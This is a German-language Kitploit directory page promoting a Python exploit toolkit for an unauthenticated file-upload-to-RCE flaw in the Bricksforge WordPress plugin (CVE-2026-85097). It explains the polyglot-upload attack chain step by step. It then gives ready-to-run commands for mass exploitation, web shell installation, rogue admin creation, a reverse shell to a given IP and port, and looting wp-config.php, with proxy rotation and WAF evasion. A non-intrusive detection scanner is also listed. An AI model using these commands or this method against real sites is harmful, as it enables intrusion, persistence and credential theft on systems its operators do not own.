Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-85097-Toolkit — Python-Toolkit für CVE-2026-85097: nutzt die nicht authentifizierte Datei-Upload-Schwachstelle in Bricksforge WordPress aus, um über polyglotte Payloads RCE zu erreichen, plus ein nicht-intrusiver Scanner zur Versionserkennung. | Kitploit
Tools/GitHubGitHub/tc4dy/cve-2026-85097-toolkit
AufklärungSchwachstellenscannerPayload-GenerierungExploitationWebanwendungs-ExploitationPost-ExploitationWAF-UmgehungWebsicherheitPenetrationstests

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Lernen & Bildung
Remote-Access-Tool
GitHubtc4dy/cve-2026-85097-toolkit

CVE-2026-85097-Toolkit

Python-Toolkit für CVE-2026-85097: nutzt die nicht authentifizierte Datei-Upload-Schwachstelle in Bricksforge WordPress aus, um über polyglotte Payloads RCE zu erreichen, plus ein nicht-intrusiver Scanner zur Versionserkennung.

Repository anzeigen
513vor 20 TagenNoch nicht geprüft
Teilen

CVE-2026-85097

CVE-2026-85097 - Bricksforge WordPress-Plugin: Nicht authentifizierter Datei-Upload bis RCE-Toolkit

CVE-2026-85097 CVSS 10.0 Aktive Ausnutzung Python 3.6+

Pre-Auth-Datei-Upload Polyglot Plattformübergreifend

Bricksforge WordPress-Plugin - Nicht authentifizierter beliebiger Datei-Upload bis zur Remote-Code-Ausführung

Exploit-Toolkit und sicherer Erkennungsscanner
Nur für autorisierte Sicherheitstests.


[+] Schwachstellenübersicht

CVE-2026-85097 ist eine kritische Schwachstelle für nicht authentifizierten beliebigen Datei-Upload im Bricksforge WordPress-Plugin (Versionen 3.1.8.9 und älter). Sie ermöglicht es entfernten Angreifern, die MIME-Validierung zu umgehen und vom Angreifer kontrollierte PHP-Dateien in das Uploads-Verzeichnis hochzuladen, was zur Remote-Code-Ausführung als Benutzer des Webservers führt.

Funktionsweise

  1. Nonce-Abruf: Die AJAX-Aktion bricksforge_regenerate_nonce ist mit wp_ajax_nopriv_ registriert, wodurch nicht authentifizierte Angreifer eine gültige REST-Nonce erhalten können.

  2. Polyglot-Upload: Der REST-Endpunkt form_file_upload validiert den MIME-Typ der hochgeladenen Datei. Eine Polyglot-Datei (gültiger PNG/GIF-Header gefolgt von PHP-Code) besteht diese Prüfung.

  3. Vertrauen in Metadaten: Bei der Formularübermittlung vertraut das Plugin auf vom Client gelieferte Metadaten im Parameter temporaryFileUploads. Das Feld file verweist auf das validierte Polyglot, während das Feld url den vom Angreifer gewählten Dateinamen enthält (einschließlich der Erweiterung .php).

  4. PHP-Ausführung: Die copy()-Senke des Plugins verwendet den vom Angreifer gelieferten url-Wert wörtlich als Ziel-Dateinamen. Die Polyglot-Datei wird innerhalb von wp-content/uploads/YYYY/MM/ in .php umbenannt und beim Zugriff ausgeführt.

Wichtige Fakten

AttributWert
[>] EntdecktOktober 2026 (Patchstack)
[>] CVSS-Score10.0 (KRITISCH)
[>] CWECWE-434 (Unrestricted Upload of File with Dangerous Type)
[>] Betroffenes PluginBricksforge (Pro Forms-Modul)
[>] Betroffene Versionen3.1.8.9 und älter
[>] Behobene Version3.1.8.10
[>] AuthentifizierungNicht erforderlich (Pre-Auth)
[>] Aktive AusnutzungIn freier Wildbahn bestätigt (Oktober 2026)

[<>] Exploit-Toolkit

Das Exploit-Toolkit verkettet den Nonce-Abruf, den Polyglot-Upload, die Metadaten-Manipulation und die PHP-Ausführung zu einem einzigen automatisierten Workflow, mit erweiterten Funktionen für Massenscanning, OPSEC und Post-Exploitation.

Funktionen

FunktionBeschreibung
[+] Vollständige AngriffsketteNonce-Abruf, Polyglot-Upload, Formularübermittlung, Shell-Verifizierung
[+] Polyglot-PayloadsPNG-tEXt-Chunk- und GIF-Kommentar-Erweiterungsvarianten
[+] MassenscanningParalleles Scannen mit Thread-Pool
[+] Post-ExploitationWeb-Shell-Installation, Erstellung von Admin-Benutzern, Reverse Shell, Datei-Exfiltration
[+] BefehlsausführungAusführen beliebiger Befehle auf bestätigten Shells
[+] Sichere ErkennungSeparater nicht-intrusiver Scanner (safechecker.py)
[+] WAF-UmgehungHeader-Spoofing, User-Agent-Rotation, Erweiterungs-Encoding
[+] Proxy-UnterstützungSOCKS5-, SOCKS4-, HTTP-Proxys mit Rotationsstrategien
[+] Mehrere AusgabeformateJSON, CSV, HTML, JSONL, SQLite
[+] Thread-sicherVerwendet Sperrmechanismen für parallele Operationen
[+] RatenbegrenzungGlobaler Rate-Limiter mit Jitter und Verzögerung
[+] PlattformübergreifendUnterstützt Linux, macOS, BSD, WSL

Angriffsablauf

PhaseBeschreibung
nonceAbrufen einer gültigen REST-Nonce über die nicht authentifizierte AJAX-Aktion
uploadHochladen eines Polyglot-PNG/GIF, das die MIME-Validierung besteht
submitÜbermitteln des Formulars mit Metadaten, die auf das Polyglot und eine .php-URL verweisen
verifyZugriff auf die hochgeladene Shell und Bestätigung der Befehlsausführung
exploitInstallieren einer Web-Shell, Erstellen eines Admins, Auslösen einer Reverse Shell, Exfiltrieren von Dateien

Sicherer Verifizierer

Der sichere Verifizierer (safechecker.py) führt eine nicht-intrusive Schwachstellenerkennung durch, ohne Payloads hochzuladen, Formulare zu übermitteln oder das Ziel zu verändern.

[>] Funktionen

FunktionBeschreibung
[+] WordPress-ErkennungIdentifiziert WordPress-Instanzen anhand mehrerer Muster
[+] Plugin-ErkennungBestätigt das Vorhandensein von Bricksforge über HTML und statische Dateien
[+] VersionserkennungErkennt spezifische Plugin-Versionen
[+] REST-Routen-PrüfungZählt exponierte Bricksforge-REST-Endpunkte auf
[+] Nonce-Endpunkt-ProbeOptionale Prüfung des Nonce-Endpunkts (--probe-nonce)
[+] Debug-Log-PrüfungUntersucht wp-content/debug.log auf Plugin-Spuren
[+] Nicht-intrusivIdentifiziert nur anfällige Versionen und exponierte Endpunkte
[+] JSON/CSV/SQL/JSONL-AusgabeExportiert Ergebnisse für die Berichterstattung
[+] MassenscanningScannt mehrere Ziele mit Threading-Unterstützung

Installation und Voraussetzungen

Voraussetzungen

  • Python 3.6+
  • pip (für die requests-Bibliothek)

Abhängigkeiten installieren

pip install requests urllib3

Repo klonen

git clone https://github.com/tc4dy/CVE-2026-85097-Toolkit.git
cd CVE-2026-85097-Toolkit
python3 exploit.py
#or
python3 safechecker.py

Anwendungsbeispiele

[1] Exploit-Toolkit (exploit.py)

# Single target exploit
python3 exploit.py -u https://target.com --exploit

# Exploit with custom command
python3 exploit.py -u https://target.com --exploit --cmd "id; uname -a"

# Mass scanning from file with 20 threads
python3 exploit.py -f targets.txt --exploit -t 20 -o results.json

# Install web shell after successful exploit
python3 exploit.py -u https://target.com --exploit --webshell

# Create admin user via RCE
python3 exploit.py -u https://target.com --exploit --create-admin "sysadmin:Str0ng!Pass"

# Trigger reverse shell
python3 exploit.py -u https://target.com --exploit --reverse-shell "10.0.0.5:4444"

# Loot wp-config.php and other files
python3 exploit.py -u https://target.com --exploit --loot

# Proxy with rotation
python3 exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate round-robin

# Jitter and rate limiting
python3 exploit.py -f targets.txt --jitter --jitter-range 0.5,3.0 --rate-limit 5

# Custom User-Agent and insecure TLS
python3 exploit.py -u https://target.com --user-agent "CustomBot/1.0" --insecure
Tool herunterladen